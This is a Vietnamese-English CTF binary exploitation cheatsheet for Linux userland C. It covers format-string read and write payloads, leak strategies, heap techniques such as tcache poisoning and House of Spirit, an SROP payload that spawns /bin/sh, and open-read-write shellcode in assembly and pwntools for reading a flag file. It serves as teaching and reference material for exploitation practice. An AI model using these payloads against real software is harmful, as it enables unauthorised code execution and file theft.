PWN Cheatsheet

Complete binary exploitation reference for CTF - from dangerous functions to advanced exploitation techniques (C - Userland - Linux)

Dangerous Sinks

Input

String copy/manipulation

String length/search

Output

Format string

Format Specifiers

Arbitrary Read

# Đọc tại địa chỉ 0x080456AB
payload = p32(0x080456AB) + "%7$s"

# Leak stack values
payload = "AAAA%7$p %8$p %9$p"

Lưu ý: %s đọc đến null byte, có thể crash nếu địa chỉ không readable.

Arbitrary Write

Thủ công:

# Ghi 0x1337 vào 0x08049794
payload = p32(0x08049794) + "%4919c%7$n"
# 4919 + 4 = 4923 = 0x1337 (decimal)

# Ghi byte-by-byte với %hhn
addr = p32(0x08049794)
payload = addr + "%221c%7$hhn"  # Ghi 0xDD (221+4=225=0xDD)

fmtstr_payload()

from pwn import *

# Syntax cơ bản
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

# Ví dụ: Ghi 0xdeadbeef vào 0x0804a048
writes = {0x0804a048: 0xdeadbeef}
payload = fmtstr_payload(6, writes)

# Ghi nhiều địa chỉ
writes = {
    0x0804a048: 0xdeadbeef,
    0x0804a04c: 0x1337babe
}
payload = fmtstr_payload(6, writes, numbwritten=8)

Tham số quan trọng:

• offset: Vị trí format string đầu tiên bạn kiểm soát (tìm bằng AAAA%7$p)
• numbwritten: Số bytes đã in trước payload (ví dụ: "Enter: " = 7 bytes)
• write_size: 'byte' (1 byte/lần, ngắn), 'short' (2 bytes), 'int' (4 bytes, dài)

Memory allocation/management

System/execution

File operations

Integer vulnerabilities

C Data Type Ranges

objdump & readelf

objdump

Disassemble:

• objdump -d binary - Disassemble toàn bộ
• objdump -d binary -M intel - Cú pháp Intel[1]
• objdump -d -j .plt binary - Chỉ xem PLT

Symbols:

• objdump -t binary - Xem symbols (tìm hidden functions)
• objdump -T binary - Dynamic symbols
• objdump -tT libc.so | grep system - Tìm offset trong libc [2]

Strings & sections:

• objdump -s binary - Dump hex của sections
• objdump -s -j .rodata binary - Xem string constants

readelf

File info:

• readelf -h binary - Header (architecture, entry point)
• readelf -l binary - Program headers (check NX, PIE)[3]
• readelf -S binary - Section headers (.text, .data, .bss)

Symbols:

• readelf -s binary - Symbol table
• readelf --dyn-syms binary - Dynamic symbols (PLT/GOT)[1]

Relocation:

• readelf -r binary - Relocation entries (GOT addresses)

Exploitation Techniques

Initial checklist

Checklist:

• Libc version → offsets, heap mechanics; Libc GOT overwrite (glibc < 2.39)
• Seccomp → xác định syscalls bị chặn
• NX disabled → có thể dùng shellcode
• PIE disabled + Partial RELRO → GOT overwrite
• PIE enabled → cần leak binary base (trên stack)
• Full RELRO → GOT read-only, không có GOT overwrite
• Static binary → khó phân tích (binary lớn), không có GOT/PLT, không cần leak libc
• No canary found → Có thể stack overflow, return address overwrite, hay stack pivot.

Information leaking

Chung: Overread qua output functions (puts, printf, write) để leak data từ stack/heap (có thể cần overflow trước).

Libc leak

• Unsorted bin/Smallbin: UAF hoặc uninitialized allocate → fd/bk pointer trỏ về main_arena
• Heap overflow: overflow để leak unsorted bin pointers
• GOT entry: leak địa chỉ hàm đã được resolve (puts, printf, read,…)
• Format string: %s để đọc GOT entry hoặc libc addresses từ stack
• Overread: vùng có libc addresses (stack, GOT, heap)

Xác định libc version: Leak nhiều hàm từ GOT, tra libc database (https://libc.rip/)

Heap leak

• Tcache/Fastbin UAF: fd pointer trỏ đến chunk tiếp theo (glibc ≥ 2.26)
• Largebin: fd_nextsize/bk_nextsize chứa heap addresses
• Uninitialized allocate: malloc không zero memory
• Heap overflow: đọc metadata chunk khác
• Format string: leak heap pointer từ stack
• Overread: vùng có heap pointers

Stack leak

• Format string: %p hoặc %x để leak stack values
• __environ: pointer → environ trên stack → tính stack address
• Stack overflow: overread để leak data
• Overread: vùng có stack addresses, canary, return address

PIE leak

• Format string: leak return address hoặc function pointer từ stack
• __environ → AAR: đọc return address trên stack
• Function pointer: leak địa chỉ hàm từ GOT/BSS
• Heap overflow: leak function pointer nếu có trên heap
• Overread: vùng có PIE-relative addresses

Canary leak

• Format string: canary thường ở stack offset cố định
• Stack overflow: overread để leak canary
• __environ → AAR: đọc canary từ stack
• TLS manipulation: ghi vào TLS section để overwrite canary

Arbitrary read/write

Arbitrary Address Write

• Format string: %n để ghi
• Tcache poisoning: overwrite tcache->next → malloc trả về địa chỉ bất kỳ
• Fastbin attack: overwrite fd, cần fake size hoặc fill tcache
• Unsorted bin attack: ghi main_arena address qua bk pointer
• Heap overflow: overwrite metadata để control allocation
• OOB: array index không check bound
• FSOP: manipulate FILE structure

Arbitrary Address Read

• Format string: %s với địa chỉ trên stack
• Tcache/Fastbin control: allocate tại địa chỉ muốn đọc
• Heap overflow: đọc metadata chunk khác
• OOB: đọc ngoài bound
• FSOP: manipulate FILE structure

Code execution

Shellcode (NX disabled)

• Ghi shellcode lên stack/heap/bss (vùng có quyền X)
• Nhảy đến shellcode qua return address/GOT overwrite
• Shellcode staging: shellcode nhỏ đọc shellcode lớn
• Lưu ý: kiểm tra seccomp (có thể cần ORW thay execve), shellcode có thể chứa null

ROP

• Stack alignment: RSP align 16 bytes trước call
• RBP: cần hợp lệ (không null/invalid)
• Register control: control đủ registers cho function call
• Stack pivoting: pivot RSP đến BSS/heap/GOT

SROP

• SROP: rt_sigreturn để set toàn bộ registers

Điều kiện cần:

• Có gadget syscall (hoặc int 0x80 trên x86).
• Điều khiển được stack (buffer overflow) để đặt sigreturn frame.
• Gây được syscall rt_sigreturn:
  • amd64: rax = 15, rồi syscall.
  • i386: eax = 0x77, rồi int 0x80.

Flow cơ bản:

1. Overflow return address → nhảy tới gadget syscall; ret (hoặc chỉ syscall).
2. Trước đó, set rax = 15 để syscall thành rt_sigreturn.
3. Ngay sau return address trên stack là SigreturnFrame giả.
4. sigreturn đọc frame từ stack → set hết register theo frame.
5. Trong frame đặt:
   • rax = 59 (sys_execve)
   • rdi = &"/bin/sh"
   • rsi = 0, rdx = 0
   • rip = addr_syscall (để sau khi restore xong thì gọi syscall thật sự).

from pwn import *

frame = SigreturnFrame()      # context.arch = 'amd64'
frame.rax = 59                # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr      # chỗ có instruction syscall

payload  = b'A' * offset
payload += p64(pop_rax) + p64(15)      # rt_sigreturn
payload += p64(syscall_addr)           # trigger sigreturn
payload += bytes(frame)                # fake frame

p.send(payload)

Khi nào nên dùng SROP?

• Ít gadget, ROP khó build.
• Cần set nhiều register 1 lúc.
• Có syscall nhưng thiếu pop rdi; pop rsi; pop rdx; ret các kiểu.

One-gadget / Magic gadget

• Kiểm tra constraints trước dùng (có thể cần ROP setup)
• Stack alignment vẫn critical
• Tiện nhưng thiếu ổn định, trên remote chưa chắc đã chạy được vì phụ thuộc context.

System() call

• Overwrite GOT: hàm control được (puts, printf, setvbuf) → system
• Setup RDI: “/bin/sh” (có trong libc) <- controlled buffer hoặc stdout,in,err
• Stack alignment 16 bytes: critical, có thể cần RBP hợp lệ

Hooks (glibc ≤ 2.34)

• Function pointers: __malloc_hook, __free_hook, __realloc_hook
• Leak libc → overwrite hook → trigger malloc/free/realloc

FSOP (File Stream Oriented Programming)

• Manipulate _IO_FILE structure
• Trigger qua exit(), fclose(), overflow
• _IO_vtable_check bypass (modern glibc)
• House of Apple/Kiwi: modern FSOP techniques

Libc GOT Overwrite

https://github.com/n132/Libc-GOT-Hijacking

Heap exploitation

Tcache (glibc ≥ 2.26)

• Tcache poisoning: overwrite fd → malloc return arbitrary address
• Tcache dup: double free (glibc < 2.29 không check)
• Tcache key bypass: overwrite key field để bypass double-free check (glibc ≥ 2.29)
• Struct location: heap_base + 0x10

Fastbin

• Fill tcache: để chunk free vào fastbin
• Fastbin attack: overwrite fd, cần fake size
• Fastbin dup: double free → allocate cùng chunk 2 lần
• House of Spirit: fake chunk (stack) → free() → allocate

Unsorted bin / Smallbin / Largebin

• Fake chunk: fake size để free vào bin (lưu ý prev_inuse chunk sau)
• Unsorted bin attack: ghi main_arena+offset qua bk pointer (dùng để leak/AAW)
• Largebin attack: overwrite fd_nextsize → arbitrary write
• House of Einherjar: consolidate qua fake prev_size

House of techniques

https://github.com/shellphish/how2heap

Lưu ý

• Alignment 16 bytes (64-bit): Tất cả bins (tcache, small, large, unsorted, fast) - địa chỉ trả về chia hết cho 16, kích thước chunk là bội số 16
• Tạo padding chunk (rào chắn top chunk) tránh merge khi free
• Unsorted bin attack corrupt list → chỉ dùng 1 lần
• Safe-linking (glibc ≥ 2.32): fd được mangle (chunk_addr >> 12) ^ real_fd → cần heap leak để decode/encode

Advanced techniques

Race condition

• TOCTOU (Time-of-Check-Time-of-Use): Check lúc A nhưng sử dụng lúc B → race thay đổi giữa 2 lúc
• Shared variable: Nhiều thread dùng chung biến toàn cục → data race → corruption
• Exploit: Tạo nhiều threads để race condition

Seccomp bypass (alternative syscalls)

Partial overwrite

• Overwrite 1-2 byte cuối để nhảy đến địa chỉ gần
• Dùng khi không đủ overflow
• Có thể cần brute-force ASLR

Stack pivoting

Dùng leave; ret gadget để pivot RSP đến GOT/BSS/heap

Sau khi pivot:

• Tiếp tục ROP chain: dùng gadgets từ vùng mới để gọi functions, setup registers
• Thực thi shellcode: nếu pivot đến heap/BSS có shellcode sẵn sàng

RWX segment creation

• mprotect(addr, len, PROT_READ|PROT_WRITE|PROT_EXEC) qua ROP
• mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, ...)
• Compile với -z execstack (rare)

TLS/Thread manipulation

• Malloc large size (>0x21000): mmap ngay trước TLS → heap overflow, hay OOB để:
• Leak/Overwrite TLS: main canary, master canary, tcache perthread struct, stack guard

Random number prediction

• Predict random() output
• Overwrite seed trong memory
• Predict dùng ctype functions
• Time-based seed: brute-force time()

ORW Shellcode

64-bit (x86-64) - ./flag

xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall

mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall

64-bit (x86-64) - /flag

xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall

mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall

32-bit (x86) - ./flag

xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f2e
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80

mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80

xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x80

32-bit (x86) - /flag

xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80

mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80

xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x80

from pwn import *
context.arch = 'amd64'

shellcode = asm("""
xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall
mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
""")

p.send(shellcode)

Lưu ý:

• 64-bit syscalls: open=2, read=0, write=1
• 32-bit syscalls: open=5, read=3, write=4
• “./flag” = 0x2e2f + “flag” (little-endian)
• “/flag” = 0x2f + “flag”